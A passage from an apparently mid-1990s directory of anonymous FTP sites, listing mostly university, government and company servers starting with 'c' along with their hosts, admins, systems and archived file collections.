Neumann, Cambridge, Massachusetts +Server : +System : Unix (SunOS 4.1) +URL : ftp://ccv1.bbn.com/ +Comment: +Files : + +Site : cdrom.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : wc.cdrom.com +Admin : +Organ : Walnut Creek CDROM, Walnut Creek, California +Server : +System : Unix +URL : ftp://cdrom.com/ +Comment: OS/2 archive moved ftp-os2.cdrom.com +Files : CD-ROM related stuff (also available from ftp.cdrom.com) + +Site : cdsarc.u-strasbg.fr +Country: France +GMT : +1 +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : University de Strassbourg (University of Strassbourg), Strassbourg +Server : +System : Unix +URL : ftp://cdsarc.u-strasbg.fr/ +Comment: +Files : A+A; abstracts; afoev; cats; dic2; simbad; topbase + +Site : cecelia.media.mit.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : sgi/anonftp/list; old ftp-list +Alias : ems.media.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Media Lab. +Server : +System : Unix (Ultrix 4.1) +URL : ftp://cecelia.media.mit.edu/ +Comment: some loose files in /pub +Files : ACT; art-of-ai; beerud; boccibob; Csound (control language for sound + and music generation); dspB (example sound editor); framer; + machine-rhytm; mas602; mood; mt; narrative-intelligence-archive; + reverb; schubert; slobores; subg + +Site : cell-relay.indiana.edu +Country: USA +GMT : -5 +Date : 22-Feb-94 +Source : allen@stone.ucs.indiana.edu (Allen Robel) +Alias : stone.ucs.indiana.edu +Admin : cell-relay-request@indiana.edu +Organ : University of Indiana, Bloomington, Indiana, University Computing + Services (UCS) +Server : +System : Unix (SunOS 4.1, Sun SPARCstation2) +URL : ftp://cell-relay.indiana.edu/ +Comment: Also available through Gopher and a lot easier that way because + you see the file comments then instead of just the filenames: the + maintainers consider this a much more user-friendly way [and me too]; + 64Mb RAM, 2Gb disk; connected through Ethernet->FDDI->T1->Internet) +Files : Information concerning cell-relay technologies (e.g. ATM, DQDB, + SONET), research, FAQs, conferences, workshops, bibliographies, + vendor addresses, product descriptions, standards documents and the + archives (searchable via Gopher) for the following mailinglists + and newsgroups: comp.dcom.cell-relay, IP over ATM, Routing over + Large Clouds (ROLC), VINCE (Q.93B signalling software) + +Site : celtic.stanford.edu +Country: USA +GMT : -8 +Date : 19-Apr-94 +Source : ger@leland.stanford.edu (Gerard Manning) +Alias : aisling.stanford.edu +Admin : ceolas@celtic.stanford.edu (Gerard Manning) +Organ : Stanford University, Menlo Park, California, CEOLAS +Server : none +System : Unix (Irix, Iris Indigo) +URL : ftp://celtic.stanford.edu/ +Comment: no restricted hours; submits should be accompanied by note to the + admin; comments welcome +Files : Anything related to celtic music. Currently has artist biogs, + discographies, tour schedules, lists of radio shows, music sessions, + festivals, publications. Associated with rec.music.celtic and + IRTRAD-L listserv. + +Site : cert.org +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : cert.sei.cmu.edu, info.cert.org, ftp.cert.org +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, + Software Engineering Institute (SEI), Computer Emergency Response + Team (CERT) +Server : +System : Unix +URL : ftp://cert.org/ +Comment: Official CERT server +Files : CERT information and files; COPS; FIRST; network tools; NIST; + ssphgw; Virus-L/comp.virus archives; + +Site : chalmers.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Chalmers University of Technology, Gothenburg +Server : +System : +URL : ftp://chalmers.se/ +Comment: +Files : RFCs; SUNet information (runs whois server) + +Site : chaos.cc.ncsu.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : North Carolina State University, Raleigh, North Carolina, CC +Server : +System : +URL : ftp://chaos.cc.ncsu.edu/ +Comment: +Files : + +Site : chara.gsu.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : hujer.chara.gsu.edu +Admin : +Organ : Georgia State University, , Georgia, Astronomy dept. +Server : +System : Unix +URL : ftp://chara.gsu.edu/ +Comment: +Files : Array (chapters of the proposal of the Center for High Angular + Resolution Astronomy to construct a large interferometric telescope + facility); BeNews; BrightStars; Gies; Saguaro Astronomy club papers + (postscript); Speckle; Zeus + +Site : charon.amdahl.com +Country: USA +GMT : +Date : 30-Oct-94 +Source : old ftp-list; Netrek FAQ +Alias : +Admin : +Organ : Amdahl Corp. +Server : +System : Unix (SunOS 4.1) +URL : ftp://charon.amdahl.com/ +Comment: +Files : agc; amdahl.aviation; amug; atria; Auto-FAQ (/pub/ikluft); dns; + FAQs; interphase; misc.legal; Nynex; Oracle; Pern; pls-beta; radio; + Sun; Texture; weather + +Site : chem.bu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Boston University, Boston, Massachusetts, Chemistry dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://chem.bu.edu/ +Comment: +Files : + +Site : cher.media.mit.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : rkeen@pixelplow.central.sun.com (Dick Keen) {posting} +Alias : cherupakha.medi.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Media Lab +Server : +System : Unix (Ultrix 4.1) +URL : ftp://cher.media.mit.edu/ +Comment: +Files : 6270; 6811; asb; aut-agents-papers; el-publications; Interactive-C; + Logo; miniboard; mres; NuTank; starlogo; trellos + +Site : ciac.llnl.gov +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : ciac@llnl.gov +Organ : Lawrence Livermore National Laboratory, , California, + Computer Security Technology Center, Computer Incident Advisory + Capability archive +Server : +System : Unix +URL : ftp://ciac.llnl.gov/ +Comment: all activity is logged +Files : CIAC: bulletins, docs, notes, patches (Ultrix), security related + docs from other response teams (ASSIST, CERT, CONFER, DDN, NASA, + NIST, Virus-L), security tools (Mac, PC), utils (crypto, Mac, PC); + NID; SPI + +Site : cica.cica.indiana.edu +Country: USA +GMT : -5 +Date : 16-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : postmaster@cica.indiana.edu +Organ : Indiana University, Bloomington, Indiana, + Centre for Innovative Computing Applications (CICA) +Server : +System : Unix +URL : ftp://cica.cica.indiana.edu/ +Comment: Open 24 hours; transfers are logged; THIS IS NOT THE MS-WINDOWS + ARCHIVE!!! [clear enough?], CICA research files only. Do not bother + the admin about ftp.cica.indiana.edu; max. 25 users; successor of + sprite.cica.indiana.edu +Files : archaeology; author; avs; chem; gov; laser; Mac; NeWS; NeXT; Sage; + Tcvc; Unix; video + +Site : cicero.cs.umass.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Massaschusetts - Amherst, Amherst, Massachusetts, + CS dept. +Server : +System : Unix +URL : ftp://cicero.cs.umass.edu/ +Comment: +Files : + +Site : cirrus.com +Country: USA +GMT : -8 +Date : 13-Aug-94 +Source : rugby@vt.edu (Roy Lymburner) {posting} +Alias : +Admin : ftp@cirrus.com +Organ : Cirrus Logic Inc. +Server : +System : Unix +URL : ftp://cirrus.com/ +Comment: transfers and commands are logged +Files : drivers and utilities for video cards using Cirrus chipsets + +Site : cis.ohio-state.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : pun.cis.ohio-state.edu +Admin : +Organ : Ohio State University, , Ohio +Server : +System : +URL : ftp://cis.ohio-state.edu/ +Comment: +Files : NeWS; alt.gourmand; unix-pc; comp.sources: misc, unix, x; idea; + ien; netinfo; RFCs + +Site : cisco.nosc.mil +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : VAX Software List +Alias : perch.nosc.mil +Admin : +Organ : NOSC, San Diego, California +Server : +System : VAX/VMS running Multinet +URL : ftp://cisco.nosc.mil/ +Comment: Problem: Failed to get host information; default directory: + $1$DUA4:[ANONYMOUS] [check! alias?] +Files : VMS software + +Site : citi.umich.edu +Country: USA +GMT : -5 +Date : 16-Feb-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Michigan, Ann Arbor, Michigan, CITI +Server : +System : Unix +URL : ftp://citi.umich.edu/ +Comment: AFS link to afs/umich.edu/group/itd/citi/public +Files : CITI techreports + +Site : clementine.s1.gov +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : clementine@s1.gov +Organ : Department of Defense +Server : +System : Unix +URL : ftp://clementine.s1.gov/ +Comment: Clementine Spacecraft images +Files : Clementine Spacecraft currently orbiting the moon images + viewers + +Site : cli.com +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : ftp@cli.com +Organ : Computational Logic Inc (CLI) +Server : +System : +URL : ftp://cli.com/ +Comment: Problem: I/O error on network device +Files : akcl piton proof-checker + +Site : climate.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : iris613.gsfc.nasa.gov +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, +Server : +System : Unix (Irix) +URL : ftp://climate.gsfc.nasa.gov/ +Comment: +Files : IRIS and HPUX; IRIS apps; Mac software; NeXTfax; starview; wu + +Site : clr.nmsu.edu +Country: USA +GMT : -7 +Date : 11-Mar-94 +Source : ted@crl.nmsu.edu (Ted Dunning) +Alias : crl.nmsu.edu, crlftp.nmsu.edu +Admin : lexical@crl.nmsu.edu +Organ : New Mexico State University, , New Mexico, Consortium for Lexical + Research (CLR)/Computer Research Lab (CRL) +Server : +System : Unix +URL : ftp://clr.nmsu.edu/ +Comment: indexes in catalog, catalog.ps and catalog-short +Files : CLR archives (natural language oriented materials including fonts, + dictionaries and such) + +Site : cml.rice.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : ftp.inesca.pt +Alias : +Admin : compmath@rice.edu, juntian@cml.rice.edu (Jun Tian) +Organ : Rice University, Houston, Texas, Math dept., Computational + Mathematics Laboratory +Server : http://cml.rice.edu/ +System : Unix (SunOS 4.1) +URL : ftp://cml.rice.edu/ +Comment: mirrored at ftp.inesca.pt +Files : aware; dsp; markus; odegard; ramesh; reports; rps; software + (rice-wavelet tools) + +Site : cmns.think.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : cmns-moon.think.com +Admin : +Organ : Thinking Machines Corporation +Server : +System : Unix (SunOS 4.1) +URL : ftp://cmns.think.com/ +Comment: +Files : Connection Machine: starlisp simulator, other software; + Thinking Machines Gmacs hacks + +Site : cnd.org +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : ifcss.org +Alias : +Admin : cnd-help@cnd.org +Organ : China News Digest +Server : WWW +System : Unix +URL : ftp://cnd.org/ +Comment: mirror of ifcss.org; access information monitored and recorded +Files : 6.4Pictures; cnd-{bj, canada, china, cm, ep, global, intro, us); + cinet; Chinese info; community; fcssc; hxwz; Inet93; Infobase + +Site : coast.cs.purdue.edu +Country: USA +GMT : -5 +Date : 18-Aug-94 +Source : posting by spaf@cs.purdue.edu (Gene Spafford) in comp.virus/Virus-L +Alias : [known, but not listed, may change soon] +Admin : security-archive@cs.purdue.edu +Organ : Purdue University, West-Lafayette, Indiana, CS dept., + Computer Operations, Audit and Security Technology (COAST) archive +Server : +System : Unix +URL : ftp://coast.cs.purdue.edu/ +Comment: user activity is logged and maybe be monitored; disclaimer and + export control notice; If you are not familiar with the structure + of the archive, please read the information in /pub/aux first + The archive currently contains software, standards, tools, and other + material in the following areas: access control, artificial life, + authentication, criminal investigation, cryptography, e-mail privacy + enhancement, firewalls, formal methods, general guidelines, genetic + algorithms, incident response, institutional policies, intrusion + detection, law & ethics, malware (viruses, worms, etc), network + security, password systems, policies, privacy, risk assessment, + security related equipment, security tools, social impacts, software + forensics, software maintenance, standards, technical tips, the + computer underground +Files : alert (CERT, CIAC, DEC, HP, Mac, NIST, NeXT, SERT, SGI, Solbourne, + Sun); COAST info; dict (several dictionaries mirrored from + ftp.funet.fi and ftp.netsys.com); doc (documents relating to + computer security and security tools); mirrors (numerous sites with + security info are mirrored here); news+lists (several mirrored + magazines and mailing list archives); patches; Purdue info; response + teams; tools + +Site : cobalt.cco.caltech.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : +URL : ftp://cobalt.cco.caltech.edu/ +Comment: Problem: I/O error on network device +Files : + +Site : cobra.uni.edu +Country: USA +GMT : -6 +Date : 16-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Northern Iowa, Cedar Falls, Iowa +Server : +System : VAX/VMS +URL : ftp://cobra.uni.edu/ +Comment: default directory: BIG:[ANONYMOUS] +Files : ANU; coins; etape; jargon; mark; MS-Kermit; UNIDOC + +Site : cochlea.hut.fi +Country: Finland +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Helsinki University of Technology, Helsinki +Server : +System : +URL : ftp://cochlea.hut.fi/ +Comment: +Files : LVQ package (Learning Vector Quantization); referencelists of + works that used LVQ or SOM algorithms; SOM package (Self Organizing + Map); utils that work with LVQ and SOM + +Site : cogsci.indiana.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : moocow.cogsci.indiana.edu +Admin : +Organ : Indiana University, Bloomington, Indiana, Cognitive Sciences dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://cogsci.indiana.edu/ +Comment: +Files : ccat; chalmers files; crcc publications; french files; juggling; + mcgraw files; wang files + +Site : col.hp.com +Country: USA +GMT : -7 +Date : 10-Sep-94 +Source : old ftp-list +Alias : hpcsos.col.hp.com +Admin : +Organ : Hewlett-Packard - Colorado, , Colorado +Server : +System : Unix +URL : ftp://col.hp.com/ +Comment: +Files : dsa; hamradio; HTML; mirrors [which?]; NOS; + +Site : complex.is +Country: Iceland +GMT : -1 +Date : 30-Oct-94 +Source : hettler@ask.uni-karlsruhe.de (Christian Hettler) +Alias : +Admin : +Organ : Complex +Server : +System : Unix (Ultrix 4.1) +URL : ftp://complex.is/ +Comment: +Files : antivirus: F-Prot (home); MUD2001 + +Site : convex.com +Country: USA +GMT : -6 +Date : 12-Feb-94 +Source : old ftp-list +Alias : convex.convex.com +Admin : +Organ : Convex Computer +Server : +System : Unix +URL : ftp://convex.com/ +Comment: +Files : avs; bsdi; doc; iserv; news; Perl sources and examples; pexic + quarterly; qualix; smail; tac patches; taylor uucp; unitree + +Site : coombs.anu.edu.au +Country: Australia +GMT : +10 +Date : 15-Dec-94 +Source : tmciolek@coombs.anu.edu.au (T. Matthew Ciolek); old ftp-list +Alias : +Admin : sean@coombs.anu.edu.au +Organ : Australian National University, Canberra, Research Schools of + Social Sciences and Pacific and Asian Studies (RSSS/RSPAS), Coombs + (ANU Social Sciences Research Data Bank) +Server : http://coombs.anu.edu.au/ gopher://coombs.anu.edu.au/ +System : Unix +URL : ftp://coombs.anu.edu.au/ +Comment: Coombspapers Archive +Files : Coombspapers (Asian/Pacific studies, humanities, Social Sciences): + Aboriginal history journal, Anthropology, Asian Pacific economic + literature, Australia/Japan research centre, Australian dict of + biography, cartography unit, contemporary China centre, + coombs computing, demography, economic history, economic policy + research, economics rspacs, economics rsss, federalism research + centre, history, history of ideas, immigration multicult studies, + indonesia-project, international relations, land management project, + linguistics, national centre for development studies, national + social sciences survey, Pacific/Asian history, Pacific Islands + group, Pacific manuscripts bureau, peace research centre, + philosophy, political and social change, political science, + prehistory, rspacs annual report 91, rspacs publications, rsss + annual report 91, social science data archives, sociology, + southeast Asia economic history, strategic and defence studies, + Thai Yunnan project, urban research project; Other archives - + research documents and materials originating from elsewhere: + Aboriginal studies archives, archaeology prehistory archives, + Asian religions archives, asian-studies-archives [ Bhutan archives, + Burma archives, Cambodia archives, Central Asia archives, + China archives, Indonesia archives, Papua New Guinea archives, + Philippines archives, South East Asia archives, Thailand archives, + Tibetan archives, Vietnam archives ], Australian National University + archives, Australian science archives, caut archives, cipsh unesco + archives, electronic buddhist archives, human communication + archives, Pacific studies archives, raia archives, reach journal + archives, social science directories, social science software, + sociology research archives, uk nra archives + +Site : coral.bucknell.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : postmaster@bucknell.edu +Organ : Bucknell University +Server : +System : +URL : ftp://coral.bucknell.edu/ +Comment: extended commands: quote site index PATTERN +Files : + +Site : coral.cs.jcu.edu.au +Country: Australia +GMT : +10 +Date : 11-Mar-94 +Source : +Alias : +Admin : stuart@cs.jcu.edu.au +Organ : James Cook University +Server : +System : Unix +URL : ftp://coral.cs.jcu.edu.au/ +Comment: transfers are logged +Files : acsadb; clouds; neural networks; prolog-linda; RFCs; tech-reports; + tptp-library + +Site : corsa.ucr.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : Virus-L/comp.virus +Alias : +Admin : systems@cs.ucr.edu +Organ : University of California - Riverside, Riverside, California, + CS dept. +Server : +System : Unix +URL : ftp://corsa.ucr.edu/ +Comment: max. 10 users +Files : anti-virus tools; Linux; papers; Virus-L (mirror of ftp.cert.org) + +Site : corto.inria.fr +Country: France +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : INRIA +Server : +System : Unix (SunOS 4.1, Multics MR12) +URL : ftp://corto.inria.fr/ +Comment: +Files : + +Site : crab.rutgers.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://crab.rutgers.edu/ +Comment: 'enter ? or help at the prompt for ftp-commands' message +Files : Mac (audio, graphics, hypercard, kermit, pspice); MS-DOS (kermit, + Linux, PC-Xremote, popmail, pspice, slip, zip); Unix (graphics, + icons) + +Site : crimelab.com +Country: USA +GMT : -6 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : +Organ : Crimelab +Server : +System : Unix +URL : ftp://crimelab.com/ +Comment: some files to be mirrored on ftp.sterling.com; ftp sessions + logged and monitored +Files : bugtraq; security; skey + +Site : crl.com +Country: +GMT : +Date : 29-Oct-94 +Source : chiu@crl.com (Lawrence Chiu) {posting} +Alias : +Admin : +Organ : CRL +Server : +System : Unix +URL : ftp://crl.com/ +Comment: /users/ro/chiu +Files : videogames cartridges (cracks, gold finger, info, patches, + utilities) + +Site : crl.dec.com +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : Digital Equipment Corp - Massaschusetts, , Massachusetts +Server : +System : +URL : ftp://crl.dec.com/ +Comment: +Files : binaries; DEC; neural nets; news; sources; TinyMud; X11 + +Site : crl.go.jp +Country: Japan +GMT : +9 +Date : 11-Mar-94 +Source : Perry.Rovers@kub.nl +Alias : crlgw.crl.go.jp +Admin : +Organ : Communications Research Laboratory (CRL) +Server : +System : Unix +URL : ftp://crl.go.jp/ +Comment: server understands directory tarring, compressing and gzipping +Files : CRL; FSE; Overview; WWW + +Site : cs-ftp.bu.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : games/roguelike, irc-faq; old ftp-list +Alias : cs-pub.bu.edu +Admin : +Organ : Boston University, Boston, Massachusetts, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://cs-ftp.bu.edu/ +Comment: successor of cs.bu.edu (obsolete) +Files : amass; bestravos; CN; Conquer, XConquer (Roguelike game); gacs; + heddaya; IEEE-RTTC; IRC clients; listserv; lnd; pbe; PC; rocker; + shaban; tech-reports; unproto; WWW + +Site : cs.cmu.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : Unix +URL : ftp://cs.cmu.edu/ +Comment: filenames cannot begin with "/.."; user anon logged in +Files : apparently empty + +Site : cs.indiana.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : moose.cs.indiana.edu +Admin : ftp@cs.indiana.edu +Organ : Indiana University, Bloomington, Indiana, CS dept. +Server : mailserv@cs.indiana.edu: the word "help" should be in the body. +System : Unix +URL : ftp://cs.indiana.edu/ +Comment: Open 24 hours +Files : aikido; CIC; conacyt mailing list archive; elisp; Faces (sources and + bitmaps); lics; Linux; LISTING; logic; Mosis; MS-DOS; RW5; s88; + sage; Scheme source and stuff; sigma; source for Webster dictionary + servers; stiquito; tech-reports; University computer science tech + reports; Usenet oracle; vsh + +Site : cs.nps.navy.mil +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : taurus.cs.nps.navy.mil +Admin : +Organ : US Navy - NPS, , , CS dept. +Server : +System : Unix +URL : ftp://cs.nps.navy.mil/ +Comment: transfers are logged; read /pub/README when depositing files +Files : auv; mosaic; nps_net info; npsnet_mosaic; onr papers; spec tools; + testcourse; warbreaker + +Site : cs.nyu.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : New York University, New York, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://cs.nyu.edu/ +Comment: +Files : adaed; AIX; courses; discoverytool; exams; gnat; griffin; languages; + math; nlp; tech-reports; TeX; theses; treetool; wave; wave2 + +Site : cs.orst.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : old ftp-list +Alias : lynx.cs.orst.edu +Admin : +Organ : Oregon State University, Corvallis, Oregon +Server : +System : +URL : ftp://cs.orst.edu/ +Comment: +Files : almanac; cook; Jargon; NeXT; Nomad; pancake; RFCs; rfp; SmallTalk; + Sun-fixes/patches; TOPS Terminal; X3h5; Xlisp + +Site : cs.oswego.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : tymann@cs.oswego.edu +Organ : State University of New York - Oswego, Oswego, New York +Server : +System : +URL : ftp://cs.oswego.edu/ +Comment: successor of moxie.oswego.edu; transfers are logged +Files : Material related to the Soviet Coup + +Site : cs.rice.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : old ftp-list +Alias : titan.cs.rice.edu +Admin : +Organ : Rice University, Houston, Texas, CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://cs.rice.edu/ +Comment: +Files : Amiga; ispell; ofiles; Sun-Spots + +Site : cs.rutgers.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : aramis.rutgers.edu +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://cs.rutgers.edu/ +Comment: loose files in /pub and /; WWW home pages +Files : borgida; cisco; colloquia; dimacs; Ethernet-codes; hyperplane + animator; IETF; images; interest groups; Internet Drafts; Internet + Resource Guide; Interop; Learning94; Linux; ML94; NCSA telnet for + Mac and MSDOS; networking info; RFCs; RUNET docs (Rutgers info); + soc.religion.christian; Suns-at-home; tech-reports; trec2; venugopa + +Site : cs.stmarys.ca +Country: Canada +GMT : -5 +Date : 16-Feb-94 +Source : CommSet docs +Alias : +Admin : +Organ : Saint Mary's College, , CS dept. +Server : +System : OSF/1 +URL : ftp://cs.stmarys.ca/ +Comment: took some time to connect to +Files : Commset; csc226; csc341; graphics; music; Simtel + +Site : cs.ubc.ca +Country: Canada +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : ftp-admin@cs.ubc.ca +Organ : University of Britsh Columbia, , British Columbia, CS dept. +Server : +System : Unix +URL : ftp://cs.ubc.ca/ +Comment: Use ftp.cs.ubc.ca instead; directories: /ftp/pickup/spline, + /pub/local/src/snacc +Files : example images and data files; snacc + +Site : cs.uchicago.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : gargoyle.uchicago.edu +Admin : ftp-admin@cs.uchicago.edu +Organ : University of Chicago, Chicago, Illinois, CS dept. +Server : +System : Unix +URL : ftp://cs.uchicago.edu/ +Comment: actions are logged +Files : named-kit; Odbol equational programming language + +Site : cs.ucl.ac.uk +Country: UK +GMT : 0 +Date : 14-Dec-94 +Source : old ftp-list +Alias : bells.cs.ucl.ac.uk +Admin : +Organ : +Server : +System : Unix (SunOS 4.0) +URL : ftp://cs.ucl.ac.uk/ +Comment: +Files : bbn; darpa; DIS CMIS/P; docs; ftmidas; functional; galatea; genetic; + iarch; ie; ietf-osi-oda; mice; mice2; oos; osi-ds; osimis; osisec; + papagena; pp; ppms; RFCs; seminars; sml + +Site : cs.ucsd.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : odin.cs.ucsd.edu +Admin : software@cs.ucsd.edu +Organ : University of California - San Diego, San Diego, California, + CS & Engineering dept. +Server : +System : Unix +URL : ftp://cs.ucsd.edu/ +Comment: tar and (un)compress on the fly +Files : admissions; aikido; corpus_data; csegsa; csl; cslcalendar; CTF; + framemaker; funrun; GAbench; GAucsd; Gemini; Infoscope; Lee; Mac; + multimedia; prep-p; q-System; Sun; Sun.roadmap.ps.gz; tech-reports; + theory; zsh + +Site : cs.utah.edu +Country: USA +GMT : -7 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Utah, Salt Lake City, Utah, CS dept. +Server : +System : Unix +URL : ftp://cs.utah.edu/ +Comment: +Files : Amiga; DES; Forth; grad_info; graphics; Lyon-Lamb; netinfo; + neural nets; news service archive; PAF; range-database; Reverse + Engineering; robot-prototyping; rose; router; sobh; stc-report; + SUNcrash; Stagecraft; tech-reports; Utah raster; Worm Tour + +Site : cs.utexas.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Texas - Austin, Austin, Texas, CS dept. +Server : +System : Unix +URL : ftp://cs.utexas.edu/ +Comment: +Files : Academic info; avi; brewery; courses; csc94; FIG; genesis; + ham-radio; INN; neural-nets; ops5; porter; predator; QSIM; + tech-reports + +Site : cs.utk.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : University of Tennessee, Knoxville, Tennessee, CS dept. +Organ : +Server : +System : Unix +URL : ftp://cs.utk.edu/ +Comment: read README.FTP for info; transactions are logged +Files : aebische; ANSI; chassismib; course-schedules; DECnet mail gateway + for VAXen and Suns; DSVM; HeNCE RayShade demo; internetworking; + jargon; LAPACK; networking; port-lpr; Postscript; pvm; RTF; Sequent; + tech-reports + +Site : cs.wm.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : va.cs.wm.edu +Admin : +Organ : +Server : +System : +URL : ftp://cs.wm.edu/ +Comment: +Files : ALV; animal-rights; pargen; raster images; texsun + +Site : cs_dept_server_1.uhh.hawaii.edu +Country: USA +GMT : -9 +Date : 23-Aug-94 +Source : ndionne@uhhacb.uhh.hawaii.edu (Norman Dionne) +Alias : +Admin : normand@uhh.hawaii.edu [?] +Organ : University of Hawaii, Honolulu, Hawaii, CS dept. +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://cs_dept_server_1.uhh.hawaii.edu/ +Comment: +Files : eyespy; Novell (JRB utils, Mercury, Qview, Pegasus) + +Site : csab.larc.nasa.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : NASA - Langley Advanced Research Center +Server : +System : Unix +URL : ftp://csab.larc.nasa.gov/ +Comment: +Files : doc; loose GNU utils and papers in /pub; LWF; XMODEM; + +Site : csam.lbl.gov +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : ctlarsen@lbl.gov (Case Larsen); old ftp-list +Alias : +Admin : +Organ : Lawrence Berkeley Labs, Berkeley, California +Server : http://www.lbl.gov/ +System : +URL : http://www.lbl.gov/ +Comment: only available for .gov, .com and certain .edu domains, WWW server + open to all +Files : LBL site map; RMT compression util; WWW papers + +Site : csbh.com +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : ftp-admin@csbh.com +Organ : Computer Solutions By Hawkinson +Server : +System : IBM OS/2 TCP/IP FTP Version 1.2 +URL : ftp://csbh.com/ +Comment: Problem: I/O error on network device; + This is an OS/2 based archive; use explict CD and a backslash + ( \ ) to change directories. Use DIR command to view + directories. Read the README file in the root. MSDOS; MS Windows; OS/2 +Files : + +Site : csc2.anu.edu.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Australian National University +Server : +System : Unix (SunOS 4.1) +URL : ftp://csc2.anu.edu.au/ +Comment: +Files : Sun-fixes; RFCs; NCSA; MSDOS; Mac + +Site : csd4.csd.uwm.edu +Country: USA +GMT : -6 +Date : 29-Nov-94 +Source : k3ras@charney.gsfc.nasa.gov (Ray Sears); old ftp-list +Alias : +Admin : help@csd4.csd.uwm.edu +Organ : University of Wisconsin - Milwaukee, Milwaukee, Wisconsin +Server : gopher.csd.uwm.edu +System : Unix (Ultrix 4.1) +URL : ftp://csd4.csd.uwm.edu/ +Comment: max. 20 users +Files : agesa; aragorn; Behavior Analysis; bri; carinhas; chinese; Custard + Workshop files; DirDir; laptop; high-audio; Internetwork Mail Guide; Milwaukee; Optimus; Palmtop; + Internet Services; kyol-art; Mac; MS-DOS; pink; Portables; Psion; + Psychology; Satellite; sstor; sumit; Unix; Wingspread; wraith + +Site : cse.ogi.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : old ftp-list +Alias : ogicse.ogi.edu +Admin : +Organ : Oregon Graduate Institute of Science and Technology, , Oregon, + CS and Engineering (CSE) dept. +Server : 